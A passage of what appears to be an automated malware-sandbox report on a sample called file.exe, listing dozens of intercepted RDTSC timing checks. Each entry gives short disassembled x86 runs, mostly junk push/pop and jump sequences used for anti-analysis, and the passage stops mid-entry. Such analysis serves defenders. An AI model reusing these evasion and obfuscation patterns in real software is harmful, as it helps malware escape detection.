Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5136E7 second address: 5136EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5136EF second address: 513714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5B4D24B727h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513714 second address: 513739 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D97h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F5B4C774D92h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513739 second address: 513754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5B4D24B716h 0x0000000a jc 00007F5B4D24B71Eh 0x00000010 push edx 0x00000011 pop edx 0x00000012 jne 00007F5B4D24B716h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516A3E second address: 516A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516A42 second address: 516A48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516BB6 second address: 516BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516BBC second address: 516BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516BC0 second address: 516C13 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ecx, dword ptr [ebp+122D2A2Bh] 0x00000015 jmp 00007F5B4C774D8Eh 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F5B4C774D88h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov edi, 37FB520Bh 0x0000003b push 95115414h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516C13 second address: 516C1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516DB9 second address: 516E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 5A4D1594h 0x0000000d mov esi, dword ptr [ebp+122D2A0Bh] 0x00000013 push 00000003h 0x00000015 movsx edi, cx 0x00000018 push 00000000h 0x0000001a jmp 00007F5B4C774D93h 0x0000001f push 00000003h 0x00000021 call 00007F5B4C774D99h 0x00000026 and esi, 4B08D850h 0x0000002c pop esi 0x0000002d push 87CEA282h 0x00000032 pushad 0x00000033 push edi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516E11 second address: 516E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c add dword ptr [esp], 38315D7Eh 0x00000013 lea ebx, dword ptr [ebp+12458926h] 0x00000019 mov edi, dword ptr [ebp+122D3303h] 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jne 00007F5B4D24B71Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516E3F second address: 516E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4C774D93h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350C9 second address: 5350F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F5B4D24B716h 0x0000000c jmp 00007F5B4D24B71Bh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F5B4D24B716h 0x0000001a jmp 00007F5B4D24B71Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350F6 second address: 535121 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F5B4C774DABh 0x0000000d jmp 00007F5B4C774D8Dh 0x00000012 pushad 0x00000013 jmp 00007F5B4C774D8Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535A7A second address: 535A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F5B4D24B720h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535A96 second address: 535AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5B4C774D91h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535AB9 second address: 535ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535D9A second address: 535D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535D9E second address: 535DAE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5B4D24B716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535DAE second address: 535DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535F17 second address: 535F2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B71Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360CC second address: 5360D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536219 second address: 53621F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53621F second address: 53624B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F5B4C774D8Fh 0x00000016 popad 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jno 00007F5B4C774D86h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53624B second address: 536266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B727h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536266 second address: 53627A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F5B4C774D86h 0x0000000a jmp 00007F5B4C774D8Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53627A second address: 53627E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C2A6 second address: 52C2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C2B2 second address: 52C2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C2B6 second address: 52C2BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C2BA second address: 52C2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jmp 00007F5B4D24B71Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C2D6 second address: 52C2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F5B4C774D99h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536A4D second address: 536A52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536B9F second address: 536BC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5B4C774D95h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f ja 00007F5B4C774D86h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0DC second address: 53B0E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B6CB second address: 53B6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E7A8 second address: 53E7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F5B4D24B726h 0x0000000b jmp 00007F5B4D24B71Ah 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501244 second address: 50125D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d ja 00007F5B4C774D86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5424B7 second address: 5424C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5B4D24B716h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5424C3 second address: 5424CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5424CC second address: 5424F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5B4D24B716h 0x00000009 ja 00007F5B4D24B716h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 jmp 00007F5B4D24B724h 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F896D second address: 4F8971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545C15 second address: 545C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5B4D24B722h 0x0000000b jmp 00007F5B4D24B71Fh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546079 second address: 546086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546086 second address: 54608C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54608C second address: 546095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546095 second address: 546099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546099 second address: 5460A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54634A second address: 546350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546507 second address: 54650B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54666D second address: 546671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546671 second address: 546677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546677 second address: 5466C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 jmp 00007F5B4D24B71Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jbe 00007F5B4D24B71Ah 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007F5B4D24B71Fh 0x0000001d jo 00007F5B4D24B735h 0x00000023 jmp 00007F5B4D24B729h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470CD second address: 5470D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547CFE second address: 547D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], ebx 0x0000000a jmp 00007F5B4D24B720h 0x0000000f nop 0x00000010 pushad 0x00000011 jmp 00007F5B4D24B721h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547D2E second address: 547D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5B4C774D86h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jbe 00007F5B4C774D98h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F5B4C774D86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547D49 second address: 547D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54805E second address: 548064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54828E second address: 548293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5487D1 second address: 5487D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A32C second address: 54A342 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5B4D24B718h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F5B4D24B716h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A342 second address: 54A346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A346 second address: 54A34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C3E0 second address: 54C3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ABCD second address: 54ABD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D7A1 second address: 54D7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54ABD1 second address: 54ABDB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5B4D24B716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E315 second address: 54E329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4C774D90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556AE9 second address: 556AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554AC8 second address: 554B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5B4C774D88h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov dword ptr [ebp+12456F46h], edx 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F5B4C774D88h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 adc bh, FFFFFFE4h 0x00000055 mov eax, dword ptr [ebp+122D0575h] 0x0000005b mov ebx, ecx 0x0000005d push FFFFFFFFh 0x0000005f mov edi, dword ptr [ebp+122D17C2h] 0x00000065 push eax 0x00000066 pushad 0x00000067 push edi 0x00000068 je 00007F5B4C774D86h 0x0000006e pop edi 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555C57 second address: 555C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557B5E second address: 557B63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556C8D second address: 556C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557B63 second address: 557BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5B4C774D86h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F5B4C774D88h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 pushad 0x00000029 jmp 00007F5B4C774D97h 0x0000002e mov di, 7111h 0x00000032 popad 0x00000033 movzx edi, si 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F5B4C774D88h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 push 00000000h 0x00000054 jnl 00007F5B4C774D92h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556C91 second address: 556CA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B722h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557BEE second address: 557C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4C774D90h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557C03 second address: 557C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5B4D24B716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556D54 second address: 556D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557DD5 second address: 557DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558DAF second address: 558E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jno 00007F5B4C774D86h 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov dword ptr [ebp+122D17BBh], eax 0x0000001b push dword ptr fs:[00000000h] 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F5B4C774D88h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 call 00007F5B4C774D93h 0x00000048 sbb ebx, 399C7030h 0x0000004e pop edi 0x0000004f mov eax, dword ptr [ebp+122D0CF1h] 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push eax 0x0000005a call 00007F5B4C774D88h 0x0000005f pop eax 0x00000060 mov dword ptr [esp+04h], eax 0x00000064 add dword ptr [esp+04h], 00000014h 0x0000006c inc eax 0x0000006d push eax 0x0000006e ret 0x0000006f pop eax 0x00000070 ret 0x00000071 mov ebx, dword ptr [ebp+122D28F3h] 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a jl 00007F5B4C774D8Ch 0x00000080 je 00007F5B4C774D86h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559B99 second address: 559B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AA8B second address: 55AB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b jno 00007F5B4C774D8Ch 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F5B4C774D88h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d add dword ptr [ebp+1246972Ah], ebx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F5B4C774D88h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f jmp 00007F5B4C774D97h 0x00000054 mov 